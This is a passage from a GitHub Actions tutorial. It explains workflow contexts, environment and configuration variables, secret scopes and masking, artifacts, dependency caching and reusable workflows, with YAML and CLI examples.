The inputs context is available in manually triggered workflows (workflow_dispatch), reusable workflows (workflow_call), and repository dispatch events. It contains the values provided by the user or the calling workflow for each defined input.

yaml
on:
  workflow_dispatch:
    inputs:
      environment:
        description: "Target deployment environment"
        required: true
        type: choice
        options: [staging, production]
      dry-run:
        description: "Run without making changes"
        type: boolean
        default: false

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        if: inputs.dry-run == false
        run: echo "Deploying to ${{ inputs.environment }}"

      - name: Dry run
        if: inputs.dry-run == true
        run: echo "DRY RUN — would deploy to ${{ inputs.environment }}"

The vars Context

The vars context accesses configuration variables set at the repository, environment, or organization level. Unlike secrets, these values are not encrypted and are visible in logs. Use them for non-sensitive configuration like feature flags, URLs, or version numbers.

yaml
steps:
  - name: Build with config
    env:
      API_BASE_URL: ${{ vars.API_BASE_URL }}
      FEATURE_FLAGS: ${{ vars.FEATURE_FLAGS }}
    run: |
      echo "Building against $API_BASE_URL"
      npm run build

Configuration variables follow the same precedence rules as secrets: environment-level overrides repository-level, which overrides organization-level.

Context Availability Matrix

Not every context is available in every workflow key. Attempting to use a context where it's not available results in an error or an empty value. The following table shows exactly where each context can be used.

Context availability varies by workflow key

A common mistake is trying to use steps or job in a place where only github and inputs are available, such as the concurrency key at the workflow level. Always check this matrix when debugging "context not available" errors.

Workflow Keygithubenvvarssecretsinputsjobstepsmatrixneedsrunner
run-name
concurrency (workflow)
env (workflow)
jobs.<id>.if
jobs.<id>.concurrency
jobs.<id>.env
jobs.<id>.strategy
jobs.<id>.container
jobs.<id>.steps.if
jobs.<id>.steps.run
jobs.<id>.steps.env
jobs.<id>.outputs

Dumping All Contexts for Debugging

When debugging a workflow, it's invaluable to see the full contents of every context. The following step prints all major contexts as formatted JSON. Use this as a diagnostic step and remove it before merging to production.

yaml
- name: Dump all contexts
  env:
    GITHUB_CONTEXT: ${{ toJSON(github) }}
    ENV_CONTEXT: ${{ toJSON(env) }}
    JOB_CONTEXT: ${{ toJSON(job) }}
    STEPS_CONTEXT: ${{ toJSON(steps) }}
    RUNNER_CONTEXT: ${{ toJSON(runner) }}
    MATRIX_CONTEXT: ${{ toJSON(matrix) }}
    NEEDS_CONTEXT: ${{ toJSON(needs) }}
  run: |
    echo "::group::github context"
    echo "$GITHUB_CONTEXT" | jq .
    echo "::endgroup::"
    echo "::group::job context"
    echo "$JOB_CONTEXT" | jq .
    echo "::endgroup::"
    echo "::group::runner context"
    echo "$RUNNER_CONTEXT" | jq .
    echo "::endgroup::"
Use toJSON() to inspect any context

The toJSON() function works with any context or sub-property. For example, toJSON(github.event.pull_request) dumps just the PR portion of the event payload. Pass it through env variables rather than inline in run: to avoid shell injection risks.

Environment Variables, Default Variables, and Configuration Variables

GitHub Actions gives you three distinct mechanisms for injecting configuration into your workflows: the env keyword for environment variables, a set of automatic default variables GitHub populates on every run, and configuration variables (vars context) that you define in your repository or organization settings. Understanding how they layer together is key to writing flexible, maintainable workflows.

The Three Scopes of env

You can declare environment variables at three levels in a workflow file: workflow, job, and step. Each narrower scope overrides the broader one. This lets you set sensible defaults at the top and override them precisely where needed.

yaml
# Workflow-level env — available to ALL jobs and steps
env:
  APP_ENV: production
  LOG_LEVEL: info

jobs:
  build:
    runs-on: ubuntu-latest
    # Job-level env — overrides workflow-level for this job
    env:
      LOG_LEVEL: debug
    steps:
      - name: Print environment
        # Step-level env — overrides job-level for this step only
        env:
          LOG_LEVEL: trace
        run: |
          echo "APP_ENV=$APP_ENV"      # production (inherited)
          echo "LOG_LEVEL=$LOG_LEVEL"   # trace (step override wins)

Precedence Rules

When the same variable name appears at multiple scopes, the most specific scope wins. The override order is:

PriorityScopeApplies To
1 (highest)Step-level envThat single step only
2Job-level envAll steps in that job
3 (lowest)Workflow-level envAll jobs and steps in the workflow
env values are strings

All environment variable values are treated as strings. If you set env: { RETRIES: 3 }, the step receives the string "3", not an integer. Parse it explicitly in your scripts if you need a numeric type.

You can also set environment variables dynamically during a step using the GITHUB_ENV file. Variables written this way become available to subsequent steps in the same job — not the current step.

yaml
- name: Set dynamic variable
  run: echo "BUILD_TAG=v1.2.3-$(date +%s)" >> "$GITHUB_ENV"

- name: Use dynamic variable
  run: echo "Deploying $BUILD_TAG"  # v1.2.3-1717001234

Default Environment Variables

GitHub Actions automatically sets a collection of environment variables on every runner. You don't declare these — they're just available. They give you metadata about the repository, the triggering event, the runner, and the current workflow run.

Here are the ones you'll reach for most often:

VariableExample ValueDescription
GITHUB_SHAa1b2c3d4e5f6...Full commit SHA that triggered the run
GITHUB_REFrefs/heads/mainFull git ref (branch, tag, or PR merge ref)
GITHUB_REF_NAMEmainShort ref name (branch or tag name only)
GITHUB_REPOSITORYoctocat/hello-worldOwner and repo name (owner/repo)
GITHUB_ACTORoctocatUsername of the person or app that triggered the run
GITHUB_EVENT_NAMEpushName of the triggering event (push, pull_request, etc.)
GITHUB_WORKSPACE/home/runner/work/repo/repoDefault working directory for steps after checkout
GITHUB_RUN_ID1658821493Unique numeric ID for this workflow run
GITHUB_RUN_NUMBER42Sequential number for runs of this workflow (starts at 1)
RUNNER_OSLinuxOS of the runner: Linux, Windows, or macOS
RUNNER_ARCHX64Architecture of the runner: X64, ARM, or ARM64

You access these just like any shell variable. In a run step, use $GITHUB_SHA. In expressions (YAML values), use ${{ github.sha }} — note that the expression context uses dot notation on the github object rather than the environment variable name.

yaml
- name: Tag the Docker image
  run: |
    # Shell variable — works in run scripts
    docker build -t myapp:$GITHUB_SHA .

- name: Conditional on ref
  # Expression context — works in YAML fields like 'if'
  if: github.ref == 'refs/heads/main'
  run: echo "Running on the main branch"
Don't confuse env vars with context expressions

$GITHUB_REF (shell variable) and ${{ github.ref }} (expression) usually hold the same value, but they resolve at different times. Expressions are evaluated before the shell runs, and they work in any YAML field (if, with, env). Shell variables only work inside run blocks. Prefer expressions in if conditionals and action inputs; use shell variables in scripts.

Configuration Variables (vars Context)

Configuration variables are non-secret values you define in the GitHub UI (or via the API) and reference through the vars context. Unlike env, these aren't hardcoded in your workflow file — they live in your repository, organization, or environment settings. This makes them ideal for values that differ between repos or environments but shouldn't be secrets (like a deployment URL, a feature flag, or a service region).

Creating Configuration Variables

You can define them at three levels, each with a different reach:

LevelWhere to set itAvailable to
RepositoryRepo → Settings → Secrets and variables → Actions → Variables tabAll workflows in that repo
EnvironmentRepo → Settings → Environments → env-name → Add variableJobs that reference that environment
OrganizationOrg → Settings → Secrets and variables → Actions → Variables tabRepos granted access in the org

When the same variable name exists at multiple levels, the most specific scope wins: environment-level beats repository-level, which beats organization-level.

Using vars in a Workflow

Reference configuration variables with the ${{ vars.VARIABLE_NAME }} expression. They work anywhere expressions are allowed — in env, run, with, and if fields.

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: staging
    env:
      # Promote a config variable to an env var for scripts
      DEPLOY_URL: ${{ vars.DEPLOY_URL }}
    steps:
      - name: Deploy application
        run: |
          echo "Deploying to $DEPLOY_URL"
          curl -X POST "$DEPLOY_URL/api/deploy" \
            -H "X-App-Version: ${{ vars.APP_VERSION }}"

      - name: Conditional feature
        if: vars.ENABLE_BETA_FEATURES == 'true'
        run: echo "Beta features enabled for this environment"
vars vs. secrets — when to use which

Use vars for non-sensitive configuration: API base URLs, region names, feature flags, version strings. Use secrets for anything sensitive: API keys, tokens, passwords. Configuration variables are visible in logs and the UI; secrets are always masked.

Putting It All Together

Here's a realistic workflow fragment that combines all three mechanisms — custom env at multiple scopes, default variables from GitHub, and configuration variables from the vars context:

yaml
name: Build and Deploy
on: push

env:
  IMAGE_REGISTRY: ${{ vars.DOCKER_REGISTRY }}   # config variable
  NODE_ENV: production                           # custom env

jobs:
  build:
    runs-on: ubuntu-latest
    env:
      IMAGE_TAG: ${{ github.sha }}               # default variable
    steps:
      - uses: actions/checkout@v4

      - name: Build image
        run: |
          docker build \
            -t $IMAGE_REGISTRY/myapp:$IMAGE_TAG \
            --label "commit=$GITHUB_SHA" \
            --label "repo=$GITHUB_REPOSITORY" \
            --label "runner=$RUNNER_OS" .

      - name: Print summary
        env:
          DEPLOY_ENV: ${{ vars.TARGET_ENVIRONMENT }}
        run: |
          echo "Image:  $IMAGE_REGISTRY/myapp:$IMAGE_TAG"
          echo "Target: $DEPLOY_ENV"
          echo "Actor:  $GITHUB_ACTOR"
          echo "Run:    $GITHUB_RUN_NUMBER"

Secrets Management: Repository, Organization, and Environment Secrets

GitHub Actions gives you encrypted secrets so you never hard-code credentials, tokens, or API keys in your workflow files. Secrets are stored encrypted at rest and only exposed to runners at execution time. Understanding the three scopes — repository, organization, and environment — is essential for keeping your CI/CD pipelines both functional and secure.

The Three Scopes of Secrets

Every secret you create in GitHub Actions lives at one of three levels. The scope you choose determines which workflows and repositories can access the secret, and how granular your access control is.

ScopeAvailable ToWho Can CreateBest For
RepositoryAll workflows in that single repoRepo admins or collaborators with write accessRepo-specific tokens (e.g., deploy keys for one service)
OrganizationRepos you select — all, private only, or a specific listOrganization adminsShared credentials across multiple repos (e.g., Docker Hub, cloud provider keys)
EnvironmentWorkflows that reference a specific environmentRepo adminsStage-specific values (e.g., different DB passwords for staging vs production)

When a secret name exists at multiple scopes, the most specific scope wins. Environment secrets override repository secrets, and repository secrets override organization secrets with the same name.

Organization Secret Visibility Controls

Organization secrets have an extra layer: visibility policies. When you create an org-level secret, you choose which repositories can access it. The three visibility options are:

  • All repositories — every repo in the org (current and future) can use the secret.
  • Private repositories — only private (and internal) repos get access. Public repos are excluded for safety.
  • Selected repositories — you hand-pick exactly which repos can use the secret. This is the most secure option.
Precedence matters

If you define AWS_ACCESS_KEY_ID at the org level and again at the repo level, the repo-level value is used. If you also define it on an environment called production, the environment value takes precedence when that environment is active. This lets you override shared defaults with repo- or stage-specific credentials.

Creating Secrets via the UI and CLI

You can create secrets through the GitHub web UI or programmatically with the GitHub CLI. The UI is straightforward for one-off secrets, but the CLI shines when you need to script secret creation across many repos or rotate values in bulk.

Using the GitHub CLI

The gh secret set command is the fastest way to create or update secrets from the terminal. It accepts the value from stdin, an environment variable, or a file — so you never need to type the secret in plaintext on the command line.

bash
# Repository secret — set from stdin
echo "my-token-value" | gh secret set API_TOKEN --repo owner/repo

# Repository secret — read from a file (useful for certs or multi-line values)
gh secret set TLS_CERT --repo owner/repo < ./certificate.pem

# Organization secret — visible to selected repos only
gh secret set DOCKER_PASSWORD --org my-org --visibility selected \
  --repos repo-api,repo-web,repo-worker

# Environment secret — scoped to the "production" environment
gh secret set DATABASE_URL --repo owner/repo --env production

Listing and Removing Secrets

bash
# List all repository secrets (names only — values are never exposed)
gh secret list --repo owner/repo

# List organization secrets
gh secret list --org my-org

# Remove a secret
gh secret delete API_TOKEN --repo owner/repo

Using Secrets in Workflows

You reference secrets via the secrets context. They can be passed as environment variables to steps, as inputs to actions, or forwarded to reusable workflows. Secrets are never printed directly — GitHub's log masking replaces any detected secret values with ***.

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Deploy to AWS
        uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: us-east-1

      - name: Run database migration
        run: ./migrate.sh
        env:
          DATABASE_URL: ${{ secrets.DATABASE_URL }}
          REDIS_URL: ${{ secrets.REDIS_URL }}

Passing Secrets to Reusable Workflows

Reusable workflows cannot automatically inherit the caller's secrets. You must explicitly pass them using the secrets keyword — or use secrets: inherit to forward all secrets at once.

yaml
# Caller workflow — explicitly pass specific secrets
jobs:
  call-deploy:
    uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
    secrets:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# Or forward ALL secrets at once (simpler but less explicit)
jobs:
  call-deploy:
    uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
    secrets: inherit

Log Masking and Its Limits

GitHub automatically masks any secret value that appears in workflow logs, replacing it with ***. This masking applies to the exact string value of each secret. However, masking is not foolproof — there are several edge cases where secrets can leak.

  • Structured output transformations — if your secret is abc123 and your script outputs it base64-encoded (YWJjMTIz), the encoded form is not masked.
  • Partial matches — if a secret is too short (e.g., a single character), GitHub may not mask it at all to avoid mangling normal log output.
  • Workflow commands — the ::add-mask:: command lets you dynamically mask derived values at runtime.
yaml
- name: Derive and mask a token
  run: |
    DERIVED_TOKEN=$(echo "${{ secrets.BASE_SECRET }}" | sha256sum | cut -d' ' -f1)
    echo "::add-mask::$DERIVED_TOKEN"
    echo "The derived token is now masked in subsequent output"
Secrets in forked pull requests

Workflows triggered by pull requests from forks do not receive repository or organization secrets. This is a deliberate security measure — a malicious fork could otherwise exfiltrate your credentials. The exception is pull_request_target, which runs in the context of the base branch and does have access to secrets, so use it with extreme caution.

Limits and Constraints

GitHub imposes hard limits on secrets that you should be aware of when designing your pipeline:

ConstraintLimit
Maximum secret size48 KB per secret
Secrets per repository100
Secrets per organization1,000
Secrets per environment100
Secret name charactersAlphanumeric and underscores only; cannot start with GITHUB_

If you hit the size limit — for example, with large certificates or key bundles — the standard workaround is to base64-encode the file, store the encoded string as a secret, and decode it in your workflow:

yaml
- name: Decode signing certificate
  run: |
    echo "${{ secrets.SIGNING_CERT_B64 }}" | base64 --decode > ./signing-cert.p12
    echo "::add-mask::$(cat ./signing-cert.p12)"

Best Practices for Secret Rotation and Avoiding Exposure

Secrets are only useful if they stay secret. Over time, the risk of exposure grows — team members leave, logs get archived, and credentials age. A proactive rotation strategy limits the blast radius of any single compromise.

Rotation Strategy

  • Automate rotation on a schedule. Use a script or CI job that generates a new credential, updates the GitHub secret via the API or gh secret set, and revokes the old one. Aim for 90-day rotation at minimum.
  • Use short-lived tokens when possible. Cloud providers like AWS (OIDC), GCP (Workload Identity Federation), and Azure (federated credentials) support exchanging a GitHub Actions JWT for a temporary cloud token — no long-lived secret required at all.
  • Audit secret access. The organization audit log records when secrets are created, updated, or deleted. Review it periodically.

Avoiding Exposure

  • Never echo secrets for debugging. Even with log masking, it is a bad habit. If you must debug, mask derived values with ::add-mask::.
  • Restrict pull_request_target. If you must use it, never check out the PR's head code and run it with access to secrets.
  • Pin third-party actions to full commit SHAs (not tags). A compromised tag on a third-party action could steal your secrets. SHA pinning prevents this.
  • Use environment protection rules. Require manual approvals, restrict to specific branches, and add deployment reviewers for environments that hold production secrets.
Prefer OIDC over static secrets

If your cloud provider supports OIDC, eliminate static credential secrets entirely. The aws-actions/configure-aws-credentials, google-github-actions/auth, and azure/login actions all support OIDC-based authentication. No secret to rotate means no secret to leak.

Artifacts: Uploading, Downloading, and Sharing Data Between Jobs

Each job in a GitHub Actions workflow runs on a fresh virtual machine. When the job finishes, the VM is destroyed and every file it produced disappears. Artifacts solve this problem — they let you persist files after a job completes so you can download them from the GitHub UI, consume them in later jobs, or retrieve them via the REST API.

The two official actions that handle artifacts are actions/upload-artifact@v4 and actions/download-artifact@v4. Together, they form the backbone of any multi-job pipeline that needs to pass data — build outputs, test reports, binaries, logs — between stages.

What Exactly Is an Artifact?

An artifact is a zip-compressed archive of one or more files uploaded during a workflow run. GitHub stores it server-side and associates it with that specific run. You can think of it as a named bundle of files with a limited lifespan.

PropertyDetails
Default retention90 days (configurable per-repo/org, 1–400 days)
Max size per artifact10 GB
Max total storage (free tier)500 MB; paid plans get more
CompressionAutomatic zip compression on upload
ImmutabilityOnce uploaded, an artifact cannot be modified — only deleted
ScopeScoped to the workflow run; other runs cannot access it (unless you use the API)
Artifacts vs. Caches

Artifacts are for outputs — build results, reports, binaries you want to keep or pass downstream. Caches (actions/cache) are for dependencies — node_modules, pip packages — that speed up repeated runs. Don't use artifacts as a caching mechanism; they count against your storage quota and are slower to restore.

Uploading Artifacts

The actions/upload-artifact@v4 action takes files from the runner's filesystem and uploads them to GitHub's artifact storage. At minimum you provide a name and a path.

yaml
- name: Upload build output
  uses: actions/upload-artifact@v4
  with:
    name: my-app-build
    path: dist/

This uploads everything inside dist/ as a single artifact named my-app-build. When you download it later (from the UI or in another job), you get a zip containing the directory's contents.

Key Input Parameters

ParameterRequiredDescription
nameYesName of the artifact. Must be unique within the workflow run.
pathYesFile, directory, or glob pattern. Supports multi-line for multiple paths.
retention-daysNoOverride the default retention period (1–90, capped by org/repo settings).
compression-levelNoZlib compression level: 0 (no compression) to 9 (max). Default is 6.
if-no-files-foundNowarn (default), error, or ignore. Controls behavior when the path matches nothing.
overwriteNoSet to true to overwrite an artifact with the same name. Default is false.

Pattern Matching and Multiple Paths

The path input supports glob patterns and multiple lines, giving you fine-grained control over which files to include.

yaml
- name: Upload test results and coverage
  uses: actions/upload-artifact@v4
  with:
    name: test-reports
    path: |
      test-results/**/*.xml
      coverage/lcov.info
      !coverage/tmp/
    retention-days: 14
    if-no-files-found: error

Glob rules follow standard patterns: * matches within a directory, ** matches across directories, and ! prefixed lines exclude matches. The exclusion pattern !coverage/tmp/ above removes temporary files from the upload.

Tuning Compression

If you're uploading files that are already compressed (zip files, Docker images, JPEG images), set compression-level: 0 to skip double-compression and speed up the upload. For plain text like logs or source code, the default level of 6 strikes a good balance.

yaml
- name: Upload pre-compressed binaries
  uses: actions/upload-artifact@v4
  with:
    name: release-binaries
    path: build/*.tar.gz
    compression-level: 0

Downloading Artifacts

Artifacts can be consumed in two ways: by a downstream job within the same workflow run (via actions/download-artifact@v4), or manually through the GitHub UI and REST API after the run completes.

Downloading in a Subsequent Job

To use an artifact from an earlier job, declare a needs dependency so the downstream job waits, then use download-artifact to pull the files onto the runner.

yaml
- name: Download build output
  uses: actions/download-artifact@v4
  with:
    name: my-app-build
    path: dist/

The path parameter here specifies where to extract the files. If you omit it, files are extracted into the current working directory. The name must match exactly what was used during upload.

Downloading All Artifacts at Once

If you omit the name input entirely, download-artifact downloads every artifact from the workflow run, each into its own subdirectory named after the artifact.

yaml
- name: Download all artifacts
  uses: actions/download-artifact@v4
  with:
    path: all-artifacts/

# Results in:
#   all-artifacts/my-app-build/...
#   all-artifacts/test-reports/...
#   all-artifacts/release-binaries/...

You can also use the pattern and merge-multiple inputs to selectively download artifacts by name pattern and flatten them into a single directory.

yaml
- name: Download all test reports from matrix jobs
  uses: actions/download-artifact@v4
  with:
    pattern: test-report-*
    path: merged-reports/
    merge-multiple: true

Full Multi-Job Pipeline: Build → Test → Deploy

The most common artifact pattern is a pipeline where a build job produces compiled output, a test job validates it, and a deploy job ships it. Here's a complete, realistic example that ties everything together.

yaml
name: Build, Test, and Deploy

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm run build

      - name: Upload build artifact
        uses: actions/upload-artifact@v4
        with:
          name: app-dist
          path: dist/
          retention-days: 7

  test:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci

      - name: Download build artifact
        uses: actions/download-artifact@v4
        with:
          name: app-dist
          path: dist/

      - run: npm test

      - name: Upload test results
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: test-results
          path: test-results/*.xml

  deploy:
    needs: [build, test]
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    steps:
      - name: Download build artifact
        uses: actions/download-artifact@v4
        with:
          name: app-dist
          path: dist/

      - name: Deploy to production
        run: |
          echo "Deploying contents of dist/..."
          ls -la dist/

Notice that the test job uploads its results with if: always(). This ensures test reports are captured even when tests fail — critical for debugging broken builds.

Matrix Builds: One Artifact per Variant

In v4, each artifact name within a run must be unique. When you use a matrix strategy, you must include the matrix values in the artifact name to avoid collisions.

yaml
jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [18, 20, 22]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci && npm test

      - name: Upload test report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: test-report-node-${{ matrix.node-version }}
          path: test-results/

  collect-reports:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - name: Download all test reports
        uses: actions/download-artifact@v4
        with:
          pattern: test-report-*
          path: all-reports/
          merge-multiple: true

      - name: Summarize results
        run: ls -R all-reports/

The collect-reports job uses pattern: test-report-* with merge-multiple: true to grab all three matrix artifacts and merge their contents into a single all-reports/ directory. This is the idiomatic way to aggregate outputs from matrix jobs in v4.

v3 → v4 Breaking Change

In upload-artifact@v3, multiple jobs could upload to the same artifact name and files would be appended. In v4, artifact names must be unique — uploading the same name twice causes an error (unless overwrite: true is set). Always include matrix variables in your artifact names when upgrading.

Downloading Artifacts via the UI and API

After a workflow run completes, artifacts appear in the Artifacts section at the bottom of the run summary page. Anyone with read access to the repository can download them as zip files directly from the browser.

For programmatic access, use the GitHub REST API. This is useful in external scripts, CD pipelines, or chatbots that need to fetch build outputs.

bash
# List artifacts for a workflow run
curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/repos/OWNER/REPO/actions/runs/RUN_ID/artifacts" \
  | jq '.artifacts[] | {name, size_in_bytes, expired}'

# Download a specific artifact by its ID
curl -L -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/repos/OWNER/REPO/actions/artifacts/ARTIFACT_ID/zip" \
  -o artifact.zip

Practical Tips and Common Patterns

Upload on Failure for Debugging

One of the most useful patterns is uploading diagnostic files only when a job fails. This keeps your artifact storage lean while ensuring you have what you need to debug failures.

yaml
- name: Run E2E tests
  run: npx playwright test

- name: Upload failure screenshots
  if: failure()
  uses: actions/upload-artifact@v4
  with:
    name: playwright-screenshots
    path: test-results/**/*.png
    retention-days: 3

Using Artifact Output in Subsequent Steps

The upload action outputs an artifact-id and artifact-url that you can reference in later steps — handy for posting download links in PR comments or Slack notifications.

yaml
- name: Upload build
  id: upload-step
  uses: actions/upload-artifact@v4
  with:
    name: release-package
    path: dist/release.tar.gz

- name: Post artifact link
  run: |
    echo "Artifact ID: ${{ steps.upload-step.outputs.artifact-id }}"
    echo "Download URL: ${{ steps.upload-step.outputs.artifact-url }}"
Keep Artifact Storage Under Control

Set short retention-days for ephemeral artifacts like test reports (3–7 days) and longer retention for release binaries. Use compression-level: 0 for pre-compressed files. Monitor your storage usage under Settings → Billing → Actions to avoid surprise overages.

Dependency Caching: Strategies, Keys, and Optimization

Every workflow run that installs dependencies from scratch wastes minutes downloading the same packages. The actions/cache@v4 action stores files between runs so subsequent jobs can skip the expensive install step entirely. Understanding how cache keys resolve — and how to design them — is the difference between a cache that saves 3 minutes per run and one that never hits.

How Cache Resolution Works

When a job requests a cache, GitHub Actions evaluates your primary key first. If it finds an exact match, it restores that cache and skips the fallback logic. If there's no exact match, it walks through your restore-keys list in order, looking for the most recent cache entry whose key starts with each prefix. If a partial match is found, the cache is restored but will be saved under the new primary key at the end of the job.

flowchart TD
    A["Job starts"] --> B["Compute cache key"]
    B --> C{"Exact match
for primary key?"}
    C -->|"Yes"| D["Restore cached files"]
    D --> E["Run workflow steps
(skip install)"]
    C -->|"No"| F{"Check restore-keys
in order"}
    F -->|"Partial match found"| G["Restore partial cache"]
    G --> H["Run workflow steps
(incremental install)"]
    H --> I["Save cache under
new primary key"]
    F -->|"No match at all"| J["Run workflow steps
(full install)"]
    J --> I
    E --> K["Job complete"]
    I --> K
    

The key insight: restore-keys give you a graceful degradation path. Even when your lock file changes, you still restore most of the previous cache instead of starting from zero.

The Cache Key System

A well-designed cache key encodes exactly what the cached content depends on. The hashFiles() function computes a SHA-256 hash of one or more files, making it ideal for lock files that change only when dependencies change.

yaml
- name: Cache node modules
  uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-node-

Here's how each segment of the key works:

Key SegmentPurposeExample Value
runner.osPrevents cross-OS cache collisions (Linux vs macOS binaries are incompatible)Linux
nodeNamespace label — distinguishes this cache from other tool caches in the same reponode
hashFiles('**/package-lock.json')Changes only when dependencies change, busting the cache at exactly the right timea1b2c3d4e5...

The restore-keys line (${{ runner.os }}-node-) acts as a prefix fallback. When the lock file hash changes, this prefix matches the most recent cache from the same OS and tool — restoring an older but still useful cache.

Note

hashFiles() accepts glob patterns and hashes multiple files in a deterministic order. Use hashFiles('**/go.sum') for Go, hashFiles('**/requirements*.txt') for Python, or hashFiles('**/pom.xml') for Maven. If no files match the pattern, it returns an empty string — which means every run gets the same key and you'll overwrite the cache constantly.

Cache Scoping and Branch Hierarchy

Caches are scoped to a branch hierarchy. A workflow running on a feature branch can restore caches created on the same branch or on the base branch (usually main). However, a workflow on main cannot access caches created on feature branches. This hierarchy prevents stale or experimental caches from polluting your default branch.

text
Cache lookup order for branch: feature/add-login
  1. feature/add-login  (same branch — checked first)
  2. main               (default branch — fallback)

Cache lookup order for branch: main
  1. main               (only its own caches)

This means the first run of a new feature branch always benefits from the main branch cache. Once the feature branch creates its own cache entry, subsequent runs use that instead.

Limits and Eviction Policies

GitHub imposes a 10 GB cache limit per repository. When the total exceeds this limit, the oldest entries (by last access time) are evicted first. Individual cache entries that haven't been accessed in over 7 days are also eligible for eviction regardless of total size.

Warning

Matrix builds multiply cache entries fast. A matrix of 3 OS × 3 Node versions with a 200 MB cache each consumes 1.8 GB — nearly 20% of your repo's total limit. Use precise cache keys and consolidate where possible.

Built-in Caching with setup-* Actions

For common ecosystems, you don't need actions/cache at all. The official setup-* actions have built-in caching that handles key generation, path configuration, and restoration automatically. Just set cache to the package manager name.

yaml
- uses: actions/setup-node@v4
  with:
    node-version: 20
    cache: 'npm'
# Automatically caches ~/.npm based on package-lock.json
- run: npm ci
yaml
- uses: actions/setup-python@v5
  with:
    python-version: '3.12'
    cache: 'pip'
# Automatically caches pip's download cache based on requirements.txt
- run: pip install -r requirements.txt
yaml
- uses: actions/setup-java@v4
  with:
    distribution: 'temurin'
    java-version: '21'
    cache: 'gradle'
# Automatically caches ~/.gradle/caches based on *.gradle* and gradle-wrapper.properties
- run: ./gradlew build

Built-in caching is the recommended approach when it fits your setup. It reduces boilerplate and follows best-practice key patterns maintained by the action authors. Use actions/cache directly only when you need custom paths, multiple cache entries, or caching for a tool that doesn't have a setup-* action.

Advanced: Multi-Path and Conditional Caching

Real-world projects often need to cache multiple directories or apply caching conditionally. The path input accepts multiple lines, and you can use the cache-hit output to skip redundant install steps entirely.

yaml
- name: Cache dependencies
  id: cache-deps
  uses: actions/cache@v4
  with:
    path: |
      node_modules
      ~/.cache/Cypress
    key: ${{ runner.os }}-deps-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-deps-

- name: Install dependencies
  if: steps.cache-deps.outputs.cache-hit != 'true'
  run: npm ci

By caching node_modules directly (instead of the npm download cache), you skip both the download and the extraction step. The trade-off is a larger cache entry, but for projects with heavy dependencies like Cypress, this can save 60+ seconds per run.

Performance Optimization Tips

Choose What to Cache

StrategyWhat to CacheCache SizeInstall Speed
Package manager cache~/.npm, ~/.cache/pipSmallStill runs install (skips download)
Installed dependenciesnode_modules, .venvLargeSkips install entirely on exact hit
Build artifacts.next/cache, target/VariableSpeeds up incremental builds

Key Design Patterns

yaml
# Pattern 1: Lock file hash (most common)
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}

# Pattern 2: Include Node version for native addons
key: ${{ runner.os }}-node${{ matrix.node-version }}-${{ hashFiles('**/package-lock.json') }}

# Pattern 3: Weekly cache rotation (force fresh cache periodically)
key: ${{ runner.os }}-npm-week${{ github.run_number / 1000 }}-${{ hashFiles('**/package-lock.json') }}

# Pattern 4: Multi-level restore-keys (most → least specific)
restore-keys: |
  ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
  ${{ runner.os }}-npm-
  ${{ runner.os }}-
Tip

You can list and delete caches via the GitHub CLI: gh cache list and gh cache delete <key>. This is invaluable for debugging cache misses or clearing corrupted entries. Automate stale cache cleanup in a scheduled workflow to stay well under the 10 GB limit.

Reusable Workflows: DRY CI/CD with workflow_call

As your organization grows, you'll find the same CI/CD patterns — build, test, deploy — copied across dozens of repositories. Reusable workflows let you define a complete workflow once and call it from other workflows using the workflow_call trigger. Think of them as functions at the workflow level: they accept typed inputs, receive secrets, run their own jobs, and return outputs.

Unlike composite actions (which bundle steps), reusable workflows encapsulate entire jobs. This makes them ideal for standardizing multi-job pipelines across an organization.

flowchart LR
    subgraph Caller["Caller Workflow (repo-a)"]
        A["jobs:
  deploy:
    uses: org/shared/.github/
      workflows/deploy.yml@main"] 
    end

    subgraph Reusable["Reusable Workflow (org/shared)"]
        direction TB
        B["on: workflow_call
  inputs / secrets"] --> C["Job 1: Build"]
        C --> D["Job 2: Test"]
        D --> E["Job 3: Deploy"]
        E --> F["outputs"]
    end

    A -- "inputs + secrets" --> B
    F -- "outputs" --> A
    

Defining a Reusable Workflow

A reusable workflow is a normal workflow file with on: workflow_call as its trigger. You declare inputs, secrets, and outputs in the trigger block. Inputs are strongly typed — GitHub validates them before the called workflow runs.

yaml
# .github/workflows/deploy.yml (reusable workflow)
name: Reusable Deploy

on:
  workflow_call:
    inputs:
      environment:
        description: "Target environment"
        required: true
        type: string
      dry-run:
        description: "Simulate without deploying"
        required: false
        type: boolean
        default: false
      replicas:
        description: "Number of pod replicas"
        required: false
        type: number
        default: 3
    secrets:
      DEPLOY_TOKEN:
        description: "Token for deployment"
        required: true
      SLACK_WEBHOOK:
        description: "Optional Slack notification URL"
        required: false
